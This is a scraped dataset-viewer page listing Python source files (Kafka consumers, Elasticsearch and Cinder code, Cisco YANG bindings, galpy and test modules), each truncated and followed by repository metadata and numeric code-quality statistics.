from storey.dtypes import SlidingWindows, Fi... | 55.272961 | 140 | 0.662061 | 12,610 | 86,060 | 4.051308 | 0.024266 | 0.179772 | 0.291366 | 0.110439 | 0.941688 | 0.924325 | 0.884765 | 0.869654 | 0.850882 | 0.836632 | 0 | 0.064627 | 0.19541 | 86,060 | 1,556 | 141 | 55.308483 | 0.673166 | 0.000918 | 0 | 0.744843 | 0 | 0 | 0.39331 | 0.293412 | 0 | 0 | 0 | 0 | 0.034377 | 1 | 0.023682 | false | 0.000764 | 0.006875 | 0 | 0.034377 | 0.000764 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5803f0467cd0ad87e2d9e1e643da4ec5ee8afd94 | 131 | py | Python | src/kirby_transform/outputs/__init__.py | SrzStephen/Kirby-Transform | e5acde12b393a56ce390e947ec735d0af3cb9967 | [
"MIT"
] | 1 | 2020-11-16T01:07:14.000Z | 2020-11-16T01:07:14.000Z | src/kirby_transform/outputs/__init__.py | SrzStephen/Kirby-Transform | e5acde12b393a56ce390e947ec735d0af3cb9967 | [
"MIT"
] | 1 | 2020-12-07T10:20:08.000Z | 2020-12-07T10:20:08.000Z | src/kirby_transform/outputs/__init__.py | SrzStephen/Kirby-Transform | e5acde12b393a56ce390e947ec735d0af3cb9967 | [
"MIT"
] | null | null | null | from kirby_transform.outputs.influx2.process import InfluxAPI
from kirby_transform.outputs.timestream.process import TimestreamPush | 65.5 | 69 | 0.900763 | 16 | 131 | 7.25 | 0.625 | 0.155172 | 0.310345 | 0.431034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008065 | 0.053435 | 131 | 2 | 69 | 65.5 | 0.927419 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
6afdbce8d072bf5ba6dc765ccbd0505757a1544e | 132 | py | Python | wttime/tests/util.py | PJK/wttime | 5341deacbebf780df62535d92fc94ca1592850f1 | [
"MIT"
] | 2 | 2020-05-24T19:11:33.000Z | 2020-05-30T15:46:34.000Z | wttime/tests/util.py | PJK/wttime | 5341deacbebf780df62535d92fc94ca1592850f1 | [
"MIT"
] | null | null | null | wttime/tests/util.py | PJK/wttime | 5341deacbebf780df62535d92fc94ca1592850f1 | [
"MIT"
] | 1 | 2020-09-27T15:22:39.000Z | 2020-09-27T15:22:39.000Z | from datetime import datetime
import dateutil.tz as tz
def utc_midnight(y, m, d):
return datetime(y, m, d, tzinfo=tz.tzutc())
| 18.857143 | 47 | 0.712121 | 23 | 132 | 4.043478 | 0.652174 | 0.301075 | 0.064516 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.174242 | 132 | 6 | 48 | 22 | 0.853211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
ed3989bc93b1f579cfd3108001b8800c32023669 | 137 | py | Python | pi/settings/__init__.py | DebasishMaji/PI | e293982cae8f8755d28d7b3de22966dc74759b90 | [
"Apache-2.0"
] | null | null | null | pi/settings/__init__.py | DebasishMaji/PI | e293982cae8f8755d28d7b3de22966dc74759b90 | [
"Apache-2.0"
] | null | null | null | pi/settings/__init__.py | DebasishMaji/PI | e293982cae8f8755d28d7b3de22966dc74759b90 | [
"Apache-2.0"
] | null | null | null | from .base_config import *
from .kafka_consumer_config import *
from .kafka_producer_config import *
import sys
sys.path.append("..")
| 15.222222 | 36 | 0.766423 | 19 | 137 | 5.263158 | 0.526316 | 0.36 | 0.32 | 0.42 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131387 | 137 | 8 | 37 | 17.125 | 0.840336 | 0 | 0 | 0 | 0 | 0 | 0.014706 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.8 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
9c1d18eb152df66cdfd901ee75b8fb13a75d4eee | 13,541 | py | Python | utils/crossvalidation.py | IA-Cardiologia-husa/KoopaML | 537b65eb016cfc86b381842928443a2d2badee8f | [
"Apache-2.0"
] | null | null | null | utils/crossvalidation.py | IA-Cardiologia-husa/KoopaML | 537b65eb016cfc86b381842928443a2d2badee8f | [
"Apache-2.0"
] | 4 | 2020-03-24T17:46:02.000Z | 2021-08-23T20:22:34.000Z | utils/crossvalidation.py | IA-Cardiologia-husa/KoopaML | 537b65eb016cfc86b381842928443a2d2badee8f | [
"Apache-2.0"
] | null | null | null | import numpy as np
import pandas as pd
import sklearn.model_selection as sk_ms
import sklearn.utils as sk_u
import sklearn.calibration as sk_cal
import sklearn.linear_model as sk_lm
import time
from .stratifiedgroupkfold import StratifiedGroupKFold
def external_validation_RS(external_data, label, feature_oddratio):
... | 34.281013 | 113 | 0.730153 | 2,040 | 13,541 | 4.580882 | 0.060784 | 0.026966 | 0.032959 | 0.057785 | 0.945639 | 0.922525 | 0.916426 | 0.905939 | 0.896201 | 0.888711 | 0 | 0.003645 | 0.128868 | 13,541 | 394 | 114 | 34.36802 | 0.788572 | 0.010044 | 0 | 0.888158 | 0 | 0 | 0.06409 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.036184 | false | 0 | 0.026316 | 0 | 0.098684 | 0.009868 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9c25583579cc2009857e973ba54acf7edfb3f456 | 192 | py | Python | tests/test_sdk_version_hash.py | graphcore/examples-utils | 8a0ae24893eb2fbf5f41ed71657c0c231b750d4b | [
"MIT"
] | null | null | null | tests/test_sdk_version_hash.py | graphcore/examples-utils | 8a0ae24893eb2fbf5f41ed71657c0c231b750d4b | [
"MIT"
] | null | null | null | tests/test_sdk_version_hash.py | graphcore/examples-utils | 8a0ae24893eb2fbf5f41ed71657c0c231b750d4b | [
"MIT"
] | null | null | null | # Copyright (c) 2022 Graphcore Ltd. All rights reserved.
from examples_utils.sdk_version_hash import sdk_version_hash
def test_sdk_version():
assert isinstance(sdk_version_hash(), str)
| 24 | 60 | 0.796875 | 28 | 192 | 5.142857 | 0.714286 | 0.277778 | 0.291667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023952 | 0.130208 | 192 | 7 | 61 | 27.428571 | 0.838323 | 0.28125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
9c259e9d9cd12779666921dc5fc1dd3528d9fd06 | 220 | py | Python | src/feature_extractor/impl/__init__.py | William9923/IF4072-SentimentClassification | 5e22a6da418056955243c310bab0382e4683b781 | [
"MIT"
] | null | null | null | src/feature_extractor/impl/__init__.py | William9923/IF4072-SentimentClassification | 5e22a6da418056955243c310bab0382e4683b781 | [
"MIT"
] | null | null | null | src/feature_extractor/impl/__init__.py | William9923/IF4072-SentimentClassification | 5e22a6da418056955243c310bab0382e4683b781 | [
"MIT"
] | null | null | null | from src.feature_extractor.impl.vectorspace import CountFeatureExtractor, TFIDFFeatureExtractor
from src.feature_extractor.impl.wordembedding import FastTextFeatureExtractor, BERTFeatureExtractor, RobertaFeatureExtractor | 110 | 124 | 0.913636 | 19 | 220 | 10.473684 | 0.684211 | 0.070352 | 0.140704 | 0.231156 | 0.271357 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 220 | 2 | 124 | 110 | 0.947619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
9c330060a15a54ceff8459ce9e0e7a9e76c0d5ad | 27,145 | py | Python | cinder/tests/unit/api/contrib/test_services.py | ISCAS-VDI/cinder-base | 9529102548beef074264aaef31fa8267db99df61 | [
"Apache-2.0"
] | null | null | null | cinder/tests/unit/api/contrib/test_services.py | ISCAS-VDI/cinder-base | 9529102548beef074264aaef31fa8267db99df61 | [
"Apache-2.0"
] | null | null | null | cinder/tests/unit/api/contrib/test_services.py | ISCAS-VDI/cinder-base | 9529102548beef074264aaef31fa8267db99df61 | [
"Apache-2.0"
] | null | null | null | # Copyright 2012 IBM Corp.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 40.636228 | 78 | 0.483036 | 2,480 | 27,145 | 5.13871 | 0.095161 | 0.065286 | 0.081607 | 0.088041 | 0.830665 | 0.812932 | 0.790333 | 0.773227 | 0.754708 | 0.724969 | 0 | 0.044706 | 0.382796 | 27,145 | 667 | 79 | 40.697151 | 0.715948 | 0.034481 | 0 | 0.793403 | 0 | 0 | 0.212846 | 0.006797 | 0 | 0 | 0 | 0 | 0.041667 | 1 | 0.045139 | false | 0.001736 | 0.022569 | 0 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9c4ef3070547cafe19eb61b5f247e543a3c9e764 | 1,603 | py | Python | built-in/TensorFlow/Official/nlp/Transformer_for_TensorFlow/noahnmt/utils/constant_utils.py | Ascend/modelzoo | f018cfed33dbb1cc2110b9ea2e233333f71cc509 | [
"Apache-2.0"
] | 12 | 2020-12-13T08:34:24.000Z | 2022-03-20T15:17:17.000Z | built-in/TensorFlow/Official/nlp/Transformer_for_TensorFlow/noahnmt/utils/constant_utils.py | Ascend/modelzoo | f018cfed33dbb1cc2110b9ea2e233333f71cc509 | [
"Apache-2.0"
] | 1 | 2022-01-20T03:11:05.000Z | 2022-01-20T06:53:39.000Z | built-in/TensorFlow/Official/nlp/Transformer_for_TensorFlow/noahnmt/utils/constant_utils.py | Ascend/modelzoo | f018cfed33dbb1cc2110b9ea2e233333f71cc509 | [
"Apache-2.0"
] | 2 | 2021-07-10T12:40:46.000Z | 2021-12-17T07:55:15.000Z | # coding=utf-8
# Copyright Huawei Noah's Ark Lab.
# Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/l... | 32.714286 | 78 | 0.720524 | 244 | 1,603 | 4.713115 | 0.393443 | 0.104348 | 0.045217 | 0.055652 | 0.766957 | 0.766957 | 0.723478 | 0.723478 | 0.723478 | 0.723478 | 0 | 0.027653 | 0.165315 | 1,603 | 48 | 79 | 33.395833 | 0.831839 | 0.792265 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.181818 | 0.272727 | 0.727273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 7 |
9c5fdd8222f30b36a47ec94849e5a963187ba1ac | 140,416 | py | Python | elasticsearch/_sync/client/indices.py | kholia/elasticsearch-py | 013433e5008277144065ad8e82f66870b203269a | [
"Apache-2.0"
] | 1 | 2022-01-05T03:43:43.000Z | 2022-01-05T03:43:43.000Z | elasticsearch/_sync/client/indices.py | kholia/elasticsearch-py | 013433e5008277144065ad8e82f66870b203269a | [
"Apache-2.0"
] | null | null | null | elasticsearch/_sync/client/indices.py | kholia/elasticsearch-py | 013433e5008277144065ad8e82f66870b203269a | [
"Apache-2.0"
] | null | null | null | # Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use ... | 43.059184 | 130 | 0.617273 | 16,497 | 140,416 | 4.981209 | 0.0334 | 0.028537 | 0.050928 | 0.067125 | 0.854895 | 0.836593 | 0.828038 | 0.822622 | 0.815102 | 0.802361 | 0 | 0.000061 | 0.294126 | 140,416 | 3,260 | 131 | 43.072393 | 0.829019 | 0.286691 | 0 | 0.863404 | 0 | 0 | 0.126498 | 0.038551 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021702 | false | 0.01617 | 0.001702 | 0 | 0.045532 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
92c14609e5373991c42ac3ab97117f4c4b347370 | 3,219 | py | Python | sakarya_stream_project/controller/consumerController/consumerController.py | muhammeedsari/twitter-api-middleman | 8b3790979694af9ee9ec5a47c76d05e7e3690e96 | [
"MIT"
] | null | null | null | sakarya_stream_project/controller/consumerController/consumerController.py | muhammeedsari/twitter-api-middleman | 8b3790979694af9ee9ec5a47c76d05e7e3690e96 | [
"MIT"
] | null | null | null | sakarya_stream_project/controller/consumerController/consumerController.py | muhammeedsari/twitter-api-middleman | 8b3790979694af9ee9ec5a47c76d05e7e3690e96 | [
"MIT"
] | null | null | null | from core.confluentKafka.kafka import Kafka
import simplejson as json
class ConsumerController:
def consume_tweets(self):
kafka = Kafka()
customer = kafka.create_consumer(topic="sentiment_topic", group_id="test")
while True:
try:
msg = customer.poll()
... | 30.084112 | 94 | 0.501087 | 326 | 3,219 | 4.812883 | 0.159509 | 0.031867 | 0.050988 | 0.070108 | 0.918419 | 0.918419 | 0.918419 | 0.918419 | 0.918419 | 0.883365 | 0 | 0.003625 | 0.400124 | 3,219 | 107 | 95 | 30.084112 | 0.808907 | 0 | 0 | 0.833333 | 0 | 0 | 0.130435 | 0.023602 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064103 | false | 0 | 0.025641 | 0 | 0.102564 | 0.192308 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
13288b52d8d7b36e975cc608d05fc93a2bcd3368 | 10,902 | py | Python | tests/Blackbox_test.py | hanniballar/mazikeen | 68693a96c69376f18c21576a610470a543a89316 | [
"MIT"
] | null | null | null | tests/Blackbox_test.py | hanniballar/mazikeen | 68693a96c69376f18c21576a610470a543a89316 | [
"MIT"
] | 3 | 2021-04-05T17:14:21.000Z | 2021-04-06T21:49:41.000Z | tests/Blackbox_test.py | hanniballar/mazikeen | 68693a96c69376f18c21576a610470a543a89316 | [
"MIT"
] | null | null | null | import unittest
import subprocess
import os
import re
import platform
from mazikeen.Utils import diff, rmtree, diffStrategy
from xmldiff import main
from distutils.dir_util import copy_tree
class Blackbox(unittest.TestCase):
def test_simple(self):
testDir = "TestFiles/Blackbox_test/simple/"
outDir ... | 53.180488 | 158 | 0.609888 | 1,159 | 10,902 | 5.664366 | 0.07679 | 0.091089 | 0.055446 | 0.064737 | 0.860625 | 0.836253 | 0.829551 | 0.798172 | 0.786748 | 0.754303 | 0 | 0.001924 | 0.237021 | 10,902 | 204 | 159 | 53.441176 | 0.787329 | 0 | 0 | 0.709497 | 0 | 0 | 0.291873 | 0.170061 | 0 | 0 | 0 | 0 | 0.122905 | 1 | 0.089385 | false | 0 | 0.044693 | 0 | 0.139665 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
13523ba9882c401ba6a35ea1823238e4454e5bac | 40 | py | Python | ast/testdata/if_elif.py | MaxTurchin/pycopy-lib | d7a69fc2a28031e2ca475c29239f715c1809d8cc | [
"PSF-2.0"
] | 126 | 2019-07-19T14:42:41.000Z | 2022-03-21T22:22:19.000Z | ast/testdata/if_elif.py | MaxTurchin/pycopy-lib | d7a69fc2a28031e2ca475c29239f715c1809d8cc | [
"PSF-2.0"
] | 38 | 2019-08-28T01:46:31.000Z | 2022-03-17T05:46:51.000Z | ast/testdata/if_elif.py | MaxTurchin/pycopy-lib | d7a69fc2a28031e2ca475c29239f715c1809d8cc | [
"PSF-2.0"
] | 55 | 2019-08-02T09:32:33.000Z | 2021-12-22T11:25:51.000Z | if 1:
2
elif 3:
4
elif 5:
6
| 5.714286 | 7 | 0.4 | 9 | 40 | 1.777778 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.315789 | 0.525 | 40 | 6 | 8 | 6.666667 | 0.526316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
13b8e6e63e1d8c6fcb24f19e81cab2834eb8ed0d | 290,887 | py | Python | cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_manageability_object_tracking_oper.py | CiscoDevNet/ydk-py | 073731fea50694d0bc6cd8ebf10fec308dcc0aa9 | [
"ECL-2.0",
"Apache-2.0"
] | 177 | 2016-03-15T17:03:51.000Z | 2022-03-18T16:48:44.000Z | cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_manageability_object_tracking_oper.py | CiscoDevNet/ydk-py | 073731fea50694d0bc6cd8ebf10fec308dcc0aa9 | [
"ECL-2.0",
"Apache-2.0"
] | 18 | 2016-03-30T10:45:22.000Z | 2020-07-14T16:28:13.000Z | cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_manageability_object_tracking_oper.py | CiscoDevNet/ydk-py | 073731fea50694d0bc6cd8ebf10fec308dcc0aa9 | [
"ECL-2.0",
"Apache-2.0"
] | 85 | 2016-03-16T20:38:57.000Z | 2022-02-22T04:26:02.000Z | """ Cisco_IOS_XR_manageability_object_tracking_oper
This module contains a collection of YANG definitions
for Cisco IOS\-XR manageability\-object\-tracking package operational data.
This module contains definitions
for the following management objects\:
object\-tracking\: Object Tracking operational data
Copyrigh... | 46.157886 | 771 | 0.493181 | 23,129 | 290,887 | 5.882269 | 0.01055 | 0.028401 | 0.035501 | 0.082712 | 0.982999 | 0.977876 | 0.966652 | 0.947336 | 0.927564 | 0.924139 | 0 | 0.014202 | 0.414463 | 290,887 | 6,301 | 772 | 46.165212 | 0.784571 | 0.181363 | 0 | 0.829339 | 0 | 0.021423 | 0.170769 | 0.091996 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095497 | false | 0 | 0.034858 | 0 | 0.19862 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
13cc58848c58d0776c91cbb7a9f6f7037c225a7a | 24,579 | py | Python | galpy/actionAngle/actionAngleStaeckel_c.py | turnergarrow/galpy | 7132eddbf2dab491fe137790e31eacdc604b0534 | [
"BSD-3-Clause"
] | 1 | 2019-02-28T08:54:38.000Z | 2019-02-28T08:54:38.000Z | galpy/actionAngle/actionAngleStaeckel_c.py | BurcuAkbulut/galpy | cabb42bef3b4f88a2f593cdb123452cd41451db3 | [
"BSD-3-Clause"
] | null | null | null | galpy/actionAngle/actionAngleStaeckel_c.py | BurcuAkbulut/galpy | cabb42bef3b4f88a2f593cdb123452cd41451db3 | [
"BSD-3-Clause"
] | null | null | null | import os
import sys
import distutils.sysconfig as sysconfig
import warnings
import ctypes
import ctypes.util
import numpy
from numpy.ctypeslib import ndpointer
from galpy.util import galpyWarning
from galpy.util import bovy_coords
#Find and load the library
_lib= None
outerr= None
PY3= sys.version > '3'
if PY3:
_e... | 43.812834 | 139 | 0.5475 | 2,641 | 24,579 | 5.005301 | 0.077243 | 0.083214 | 0.135033 | 0.108178 | 0.873137 | 0.86648 | 0.848324 | 0.838717 | 0.832589 | 0.814509 | 0 | 0.023753 | 0.343993 | 24,579 | 560 | 140 | 43.891071 | 0.79608 | 0.134261 | 0 | 0.804569 | 0 | 0 | 0.038616 | 0.005031 | 0 | 0 | 0 | 0 | 0 | 1 | 0.01269 | false | 0 | 0.038071 | 0 | 0.063452 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
13dced776a9ba6618afd87965a36b4b0ebc5ae16 | 4,998 | py | Python | tests/management/commands/test_set_fake_emails.py | Ardenine/django-extensions | 8fe05a73e9e09e8fe3206f4b5044bd7b3bad4f7c | [
"MIT"
] | null | null | null | tests/management/commands/test_set_fake_emails.py | Ardenine/django-extensions | 8fe05a73e9e09e8fe3206f4b5044bd7b3bad4f7c | [
"MIT"
] | null | null | null | tests/management/commands/test_set_fake_emails.py | Ardenine/django-extensions | 8fe05a73e9e09e8fe3206f4b5044bd7b3bad4f7c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.core.management import call_command, CommandError
from django.contrib.auth.models import User
from django.utils.six import StringIO
from django_extensions.management.commands.set_fake_emails import Command
import pytest
@pytest.fixture(scop... | 36.217391 | 99 | 0.720088 | 686 | 4,998 | 5.099125 | 0.153061 | 0.048599 | 0.082619 | 0.092338 | 0.825043 | 0.815323 | 0.795026 | 0.792167 | 0.783591 | 0.783591 | 0 | 0.001875 | 0.146459 | 4,998 | 137 | 100 | 36.481752 | 0.818097 | 0.022209 | 0 | 0.684783 | 0 | 0 | 0.14485 | 0.010669 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.086957 | false | 0.130435 | 0.065217 | 0 | 0.152174 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
13e3bdab2e90d8d5550c3b9242e53aa1246fcb89 | 3,948 | py | Python | test-framework/test-suites/integration/tests/run/test_run_pallet.py | knutsonchris/stacki | 33087dd5fa311984a66ccecfeee6f9c2c25f665d | [
"BSD-3-Clause"
] | null | null | null | test-framework/test-suites/integration/tests/run/test_run_pallet.py | knutsonchris/stacki | 33087dd5fa311984a66ccecfeee6f9c2c25f665d | [
"BSD-3-Clause"
] | null | null | null | test-framework/test-suites/integration/tests/run/test_run_pallet.py | knutsonchris/stacki | 33087dd5fa311984a66ccecfeee6f9c2c25f665d | [
"BSD-3-Clause"
] | null | null | null | import json
from textwrap import dedent
class TestRunPallet:
def test_invalid_pallet(self, host):
result = host.run('stack run pallet test')
assert result.rc == 255
assert result.stderr == dedent('''\
error - "test" argument is not a valid pallet
{pallet ...} [arch=string] [os=string] [release=string] [v... | 38.705882 | 134 | 0.695289 | 660 | 3,948 | 4.051515 | 0.178788 | 0.112191 | 0.072924 | 0.067315 | 0.801795 | 0.79469 | 0.784592 | 0.771503 | 0.721391 | 0.686986 | 0 | 0.017166 | 0.18845 | 3,948 | 101 | 135 | 39.089109 | 0.817416 | 0.22847 | 0 | 0.548387 | 0 | 0.16129 | 0.421818 | 0.060165 | 0 | 0 | 0 | 0 | 0.403226 | 1 | 0.112903 | false | 0 | 0.032258 | 0 | 0.16129 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.